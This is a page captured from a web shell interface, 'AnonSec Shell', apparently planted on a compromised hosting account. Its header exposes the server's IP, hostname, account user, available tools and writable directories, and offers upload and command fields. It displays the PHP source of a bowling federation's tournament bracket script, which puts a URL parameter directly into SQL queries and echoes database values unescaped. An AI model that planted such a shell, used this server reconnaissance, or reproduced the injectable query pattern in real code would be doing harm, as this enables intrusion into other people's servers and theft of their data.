AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/pdf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/pdf/tournamentPrint.php
<?php
if (!isset($_GET["tournamentID"])) {
	header("Location: /");
}

include "../globalVars.php";

$tournamentID	= $_GET["tournamentID"];

$tournamentQuery = mysqli_query($conn, "SELECT * FROM knockoutConfig WHERE id = '$tournamentID'");
while ($tQ = mysqli_fetch_array($tournamentQuery)) {
	$tournType		= $tQ["tournType"];
	$tournTitle		= $tQ["tournTitle"];
	$tFullSDate		= $tQ["tournStartDate"];
	$tFullEDate		= $tQ["tournEndDate"];
	$tStartDate		=  date("jS", strtotime($tFullSDate));
	$tStartMonth	=  date("F", strtotime($tFullSDate));
	$tStartYear		=  date("Y", strtotime($tFullSDate));
	$tEndDate		=  date("jS", strtotime($tFullEDate));
	$tEndMonth		=  date("F", strtotime($tFullEDate));
	$tEndYear		=  date("Y", strtotime($tFullEDate));
	$tournLocation	= $tQ["tournLocation"];
	if (trim($tournTitle) == "") {
		$tournTitle	= "$tournLocation $tStartMonth $tStartYear";
	}
	$tournStartDate	= $tStartDate;
	if ($tStartMonth != $tEndMonth) {
		$tournStartDate	.= " $tStartMonth";
	}
	if ($tStartYear != $tEndYear) {
		$tournStartDate	.= " $tStartYear";
	}
	$tournEndDate	= date("jS F, Y", strtotime($tQ["tournEndDate"]));
	$noCompetitors	= $tQ["noCompetitors"];
	$hasPrelims		= $tQ["hasPrelims"];
}
$leagueGroupQuery = mysqli_query($conn, "SELECT groupTitle FROM knockoutGroups WHERE id = '$tournType'");
while ($lGQ = mysqli_fetch_array($leagueGroupQuery)) {
	$leagueGroup	= $lGQ["groupTitle"];
}
$compLeft		= $noCompetitors;
$noRounds		= 1;
do {
	$compLeft	= $compLeft / 2;
	$noRounds++;
} while ($compLeft > 2);

if ($hasPrelims == 1) {
	$rCount		= 0;
} else {
	$rCount		= 1;
}

$noMatches	= 1;
for ($r = $noRounds; $r >= $rCount; $r--) {
	$noMatches	= $noMatches * 2;
}
$showScores	= 1;

?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title><?php echo $tournTitle ?> | <?php echo $companyName ?></title>
<meta name="author" content="www.modsnetwebsitedesign.com"/>
<meta name="DC.Title" content="<?php echo $tournTitle ?> | <?php echo $companyName ?>"/>
<meta name="DC.Creator" content="https://www.modsnetwebsitedesign.com"/>
<meta name="og:title" content="<?php echo $tournTitle ?> | <?php echo $companyName ?>">
<meta name="og:description" content="<?php echo $tournTitle ?> <?php echo $companyName ?>">
<meta name="og:image" content="<?php echo $Iurl ?>og-image.jpg">
<meta name="og:image:secure_url" content="<?php echo $Iurl ?>og-image.jpg">
<meta property="og:updated_time" content="1651497389" />
<meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no, width=device-width" />
<link rel="shortcut icon" type="image/x-icon"  href="<?php echo $ENurl ?>favicon.ico"/>
<link rel="icon" type="image/ico" href="<?php echo $Iurl ?>favicon.png" />
<link rel="apple-touch-icon" href="<?php echo $Iurl ?>favicon-60.png"> 
<link rel="apple-touch-icon" sizes="76x76" href="<?php echo $Iurl ?>favicon-76.png"> 
<link rel="apple-touch-icon" sizes="120x120" href="<?php echo $Iurl ?>favicon-120.png"> 
<link rel="apple-touch-icon" sizes="152x152" href="<?php echo $Iurl ?>favicon-152.png">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Arimo:wght@700&family=Open+Sans:wght@400;600;700&family=Roboto:wght@700&display=swap" rel="stylesheet">
<link type="text/css" href="<?php echo $url ?>pdf/stylesheet-tournament-fixtures.css?v=1.01" rel="stylesheet" media="all" />
</head>

<body>
<div class="pdfFPage">
	<div class="header">
		<div class="logo">
			<a href="<?php echo $url ?>"><img src="<?php echo $Iurl ?>logo.png" width="69" height="98"alt="<?php echo $tournTitle ?> | <?php echo $companyName ?>" title="<?php echo $tournTitle ?> | <?php echo $companyName ?>"></a>
			<div class="logoTitle">
				<div class="logoTitleT">
					<a href="<?php echo $url ?>">
						<span class="logoTitleInt">Federación Andaluza de Bolos</span>
						<span class="logoTitleAl">Almería</span>
					</a>
				</div>
			</div>
		</div>
		<div class="fixturesHeader">
			<div class="fixturesHeaderT">
				<p><?php echo $tournTitle ?></p>
			</div>
		</div>
	</div>
	<div class="main">
		<h1>Fixtures</h1>
		<div class="knockoutContainer">
		<?php
		$htmlTemplate	= "knockout-";
		$fixturesCSS	= "knockout";
		if ($hasPrelims == 1) {
			$htmlTemplate	.= "pre-";
			$fixturesCSS	.= "Pre";
		}
		if ($noCompetitors <= 4) {
			$htmlTemplate	.= "4";
			$fixturesCSS	.= "4";
			if ($hasPrelims == 1) {
				$roundsArray	= array(0 => 2, 1 => 2, 2 => 1);
			} else {
				$roundsArray	= array(1 => 2, 2 => 1);
			}
		} elseif ($noCompetitors <= 8) {
			$htmlTemplate	.= "8";
			$fixturesCSS	.= "8";
			if ($hasPrelims == 1) {
				$roundsArray	= array(0 => 4, 1 => 4, 2 => 2, 3 => 1);
			} else {
				$roundsArray	= array(1 => 4, 2 => 2, 3 => 1);
			}
		} elseif ($noCompetitors <= 16) {
			$htmlTemplate	.= "16";
			$fixturesCSS	.= "16";
			if ($hasPrelims == 1) {
				$roundsArray	= array(0 => 8, 1 => 8, 2 => 4, 3 => 2, 4 => 1);
			} else {
				$roundsArray	= array(1 => 8, 2 => 4, 3 => 2, 4 => 1);
			}
		} elseif ($noCompetitors <= 32) {
			$htmlTemplate	.= "32";
			$fixturesCSS	.= "32";
			if ($hasPrelims == 1) {
				$roundsArray	= array(0 => 16, 1 => 16, 2 => 8, 3 => 4, 4 => 2, 5 => 1);
			} else {
				$roundsArray	= array(1 => 16, 2 => 8, 3 => 4, 4 => 2, 5 => 1);
			}
		} elseif ($noCompetitors <= 64) {
			$htmlTemplate	.= "64";
			$fixturesCSS	.= "64";
			if ($hasPrelims == 1) {
				$roundsArray	= array(0 => 32, 1 => 32, 2 => 16, 3 => 8, 4 => 4, 5 => 2, 6 => 1);
			} else {
				$roundsArray	= array(1 => 32, 2 => 16, 3 => 8, 4 => 4, 5 => 2, 6 => 1);
			}
		}
		$rawTemplate	= file_get_contents($SERVER_ROOT ."/". $htmlTemplate .".html");
		$rawTemplate	= str_replace(array("<thead>", "</thead>", "<tbody>", "</tbody>", "<th>", "</th>"), array('', '', '', '', '<td class="tableHead">', '</td>'), $rawTemplate);
		$final			= $noRounds;

				foreach($roundsArray as $roundID => $noMatches) {
					for ($m = 1; $m <= $noMatches; $m++) {
						$replaceTD			= "[[ROUND_". $roundID ."_". $m ."]]";
						$matchReplace		= "";
						$participantName	= "";
						$matchScore 		= "";
						$opponentName		= "";
						$opponentScore 		= "";
						$roundDate	 		= "2023-01-01 00:00:00";

						$nextFixtureQuery = mysqli_query($conn, "SELECT * FROM knockoutRounds WHERE tournID = '$tournamentID' AND (roundID = '$roundID') AND (matchNo = '$m') ORDER BY id ASC LIMIT 0,1");
						if (mysqli_num_rows($nextFixtureQuery) == 0) {
							$matchDate		= "";
						} else {
							while ($nFQ = mysqli_fetch_array($nextFixtureQuery)) {
								$playerID			= $nFQ["id"];
								$roundDate			= $nFQ["roundDate"];
								$participantName	= $nFQ["participantName"];
								$matchScore 		= $nFQ["matchScore"];
							}
							$matchTime		= date("H:i", strtotime($roundDate));
							if (trim($matchTime) == "00:00") {
								if ($roundDate == "0000-00-00 00:00:00") {
									$matchDate		= '<span class="kFixtureDate">&nbsp;</span>';
								} else {
									$matchDate		= '<span class="kFixtureDate">'. date("D jS M Y", strtotime($roundDate)) .'</span>';
								}
							} else {
								$matchDate		= '<span class="kFixtureDate">'. date("g:ia D jS M Y", strtotime($roundDate)) .'</span>';
							}
						}
						if ($matchScore == -1) {
							$matchScore	= "";
						}
						$opponentsQuery = mysqli_query($conn, "SELECT * FROM knockoutRounds WHERE tournID = '$tournamentID' AND (roundID = '$roundID') AND (matchNo = '$m') AND (id != '$playerID') ORDER BY id ASC LIMIT 0,1");
						if (mysqli_num_rows($opponentsQuery) == 0) {
							$opponentName	= '<span class="knockoutPH">-</span>';
							$opponentScore	= "";
						} else {
							while ($oQ = mysqli_fetch_array($opponentsQuery)) {
								$opponentName	= $oQ["participantName"];
								$opponentScore 	= $oQ["matchScore"];
							}
						}
						if ($opponentScore == -1) {
							$opponentScore	= "";
						}
						if ($roundID == $final) {
							if (($matchScore > $opponentScore) || ($matchScore == 9999) || ($opponentScore == 99999)) {
								$tourneyWinner	= $participantName;
							} elseif (($opponentScore > $matchScore) || ($matchScore == 99999) || ($opponentScore == 9999)) {
								$tourneyWinner	= $opponentName;
							} else {
								$tourneyWinner	= "";
							}
						}
						if ($matchScore == 9999 || $opponentScore == 9999) {
							$matchReplace		= '<br><span class="knockoutPH">-</span>';
						} elseif ($matchScore == 99999 || $opponentScore == 99999) {
							if (trim($participantName) == '') {
								$matchReplace		= '<div class="knockoutInd">&nbsp;</div>';
							} else {
								$matchReplace		= '<div class="knockoutInd" title="'. $participantName .'">'. $participantName .'</div>';
							}
							if ($opponentName == '<span class="knockoutPH">-</span>') {
								$matchReplace		.= '<div class="knockoutInd">&nbsp;</div>';
							} else {
								$matchReplace		.= '<div class="knockoutInd" title="'. $opponentName .'">'. $opponentName .'</div>';
							}
						} elseif ($opponentScore == $matchScore) {
							if (trim($participantName) == '') {
								$matchReplace		= '<div class="knockoutInd">&nbsp;</div>';
							} else {
								$matchReplace		= '<div class="knockoutInd" title="'. $participantName .'">'. $participantName .'</div>';
							}
							if ($opponentName == '<span class="knockoutPH">-</span>') {
								$matchReplace		.= '<div class="knockoutInd">&nbsp;</div>';
							} else {
								$matchReplace		.= '<div class="knockoutInd" title="'. $opponentName .'">'. $opponentName .'</div>';
							}
						} else {
							if ($showScores == 1) {
								$matchReplace		= '<div class="knockoutInd knockoutIndWS" title="'. $participantName .'">'. $participantName .'</div><div class="knockoutScore">'. $matchScore .'</div>';
								if ($opponentName == '<span class="knockoutPH">-</span>') {
									$matchReplace		.= '<div class="knockoutInd">&nbsp;</div>';
								} else {
									$matchReplace		.= '
				<div class="knockoutInd knockoutIndWS" title="'. $opponentName .'">'. $opponentName .'</div><div class="knockoutScore">'. $opponentScore .'</div>';
								}
							} else {
								$matchReplace		= '<div class="knockoutInd" title="'. $participantName .'">'. $participantName .'</div>';
								if ($opponentName == '<span class="knockoutPH">-</span>') {
									$matchReplace		.= '<div class="knockoutInd">&nbsp;</div>';
								} else {
									$matchReplace		.= '
				<div class="knockoutInd" title="'. $opponentName .'">'. $opponentName .'</div>';
								}
							}
						}
						if ($matchReplace != '<br><span class="knockoutPH">-</span>') {
							$matchReplace .= $matchDate;
						}
				//		echo "REPLACE $replaceTD, $matchReplace<br>";
						$rawTemplate	= str_replace($replaceTD, $matchReplace, $rawTemplate);
					}
				}
				$rowSpanSearch	= array('rowspan="3" class="knockoutRndConn"', 'rowspan="5" class="knockoutRndConn"', 'rowspan="9" class="knockoutRndConn"', 'rowspan="17" class="knockoutRndConn"', 'rowspan="33" class="knockoutRndConn"', 'class="knockoutRndConn"');
				$rowSpanReplace	= array('rowspan="3" class="knockoutRndConn rowSpan3" width="22"', 'rowspan="5" class="knockoutRndConn rowSpan5" width="22"', 'rowspan="9" class="knockoutRndConn rowSpan9" width="22"', 'rowspan="17" class="knockoutRndConn rowSpan17" width="22"', 'rowspan="33" class="knockoutRndConn rowSpan33" width="22"', 'class="knockoutRndConn" width="22"');
				$rawTemplate	= str_replace($rowSpanSearch, $rowSpanReplace, $rawTemplate);
/*
				$svgReplace	= '<span class="firstM hConn">&nbsp;</span><span class="secondM hConn">&nbsp;</span><span class="nextR hConn">&nbsp;</span><span class="vConn">&nbsp;</span>';
				$connSVG	= '<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px">
<rect class="firstM hConn" fill="#F0F0F0" width="10.5" height="1"></rect>
<rect class="secondM hConn" fill="#F0F0F0" width="10.5" height="1"></rect>
<rect class="vConn" fill="#F0F0F0" width="1" height="101.5"></rect>
<rect class="nextR hConn" fill="#F0F0F0" width="10.5" height="1"></rect>
</svg>';
				$rawTemplate	= str_replace($svgReplace, $connSVG, $rawTemplate);
*/
					echo $rawTemplate;
						?>
							<div id="tournWinner">
								Winner: <?php echo $tourneyWinner ?>
							</div>
						</div>
					</div>
		</div>
	</div>

Anon7 - 2022
AnonSec Team